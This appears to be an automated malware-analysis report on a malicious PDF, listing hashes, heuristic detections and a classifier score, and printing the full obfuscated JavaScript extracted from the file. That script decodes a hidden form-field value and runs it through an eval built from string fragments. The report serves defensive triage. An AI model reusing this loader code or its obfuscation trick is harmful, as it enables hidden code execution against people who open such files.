Malicious PDF — malware analysis report

Static analysis result for SHA-256 b82901747a5dcfb6…

MALICIOUS

PDF

49.9 KB Created: 2012-07-17 07:52:10 +04:00 Authoring application: Adobe Acrobat 7.0 (via Adobe Acrobat 7.0 Image Conversion Plug-in) First seen: 2013-08-29
MD5: abd245c55c39ad02b4d0cdaa23b7abf6 SHA-1: dcd47a8af073b67f44dfd041e92e8daa14c7cb20 SHA-256: b82901747a5dcfb6f2dfe71086c0866e451342a0cde73c3737e6b758ae5e195b
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file was flagged as malicious by an ML classifier with a high confidence score. Static analysis revealed embedded JavaScript, indicated by PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream, named 'javascript_obj0106_000.js', appears to be obfuscated, suggesting an attempt to hide malicious activity. The primary function of this script is likely to download and execute a second-stage payload, which is a common technique for malware delivery.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9971

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function shfdsfvsdfvdsfgds(str){return str.replace(/:/g,",");}
function fdshwergdsfgdsfg(asd){return String.fromCharCode(asd);}
function bsdgdbdsfvsgfsadf(str){var set='';var s='';var ee='';
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0106_000.js pdf-javascript-stream PDF /JS object 106 at offset 0xC3C5 1607 bytes
SHA-256: 78aaa482c0055fd533e17431f2bd56818b91b4d0a00dc0b2876f650b7f3d42d8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function rhjahahagk(){
function wggsadfsadf(input2) {var asdf =bsdgdbdsfvsgfsadf(input2) ; var asfdsad = hwegfgdsgdsfgds(asdf); return asfdsad;}
function ergtrgsgdsfgdfsg(sadsfjkgAD){var jdhjkashfhaui = "0"; return jdhjkashfhaui+sadsfjkgAD;}
function shfdsfvsdfvdsfgds(str){return str.replace(/:/g,",");}
function fdshwergdsfgdsfg(asd){return String.fromCharCode(asd);}
function bsdgdbdsfvsgfsadf(str){var set='';var s='';var ee='';
str = shfdsfvsdfvdsfgds(str);
str = str.split(",");
for(var i=0;i<str.length;i++){  
ee=str[i]/(18/6);
set+=erhgsdfgdsgdsf(ee.toString(64/4));}
return set;}
function hwegfgdsgdsfgds(hex) {
    var str = '';var zzz=fdshwergdsfgdsfg;
    for (var i = 0; i < hex.length; i += 2){
	var sssss = hex.substr(i,2);
       str +=fdshwergdsfgdsfg('asdfwefwuiegfyuadsui0x'.substr(20,2)+sssss);
}return str;}
function erhgsdfgdsgdsf(eds){var set='';var s=eds;
if (s.length<2)
{set=ergtrgsgdsfgdfsg(s);}
else{set=s;}
return set;}
function ghsgffsadfsadf(d,dd){return d+dd;}
var b2=getField("Text1");
var aDFsdfasd=b2.value;
var aDFsdfasd=wggsadfsadf(aDFsdfasd);
function fjkasdf(){return "constr"+"uctor";}
var czvhjashavsiodhvuipashcpioasdcs  = app.alert[fjkasdf()];
function asdfeaf(s){if (s==0){return false+""}else{return true+""}}
var susea=asdfeaf(1);var seasus=asdfeaf(0);
var daeaefe="eafadsfjekafhjkavadfefafaef";
var argqrgqadsfwqgwafdsfwef=susea[(3+3)/2];
argqrgqadsfwqgwafdsfwef+=daeaefe[(16+16)/2];
argqrgqadsfwqgwafdsfwef+=seasus[((1+9)/5)-1];
argqrgqadsfwqgwafdsfwef+=seasus[(2+10)/6];
czvhjashavsiodhvuipashcpioasdcs[argqrgqadsfwqgwafdsfwef](aDFsdfasd);
}
rhjahahagk();

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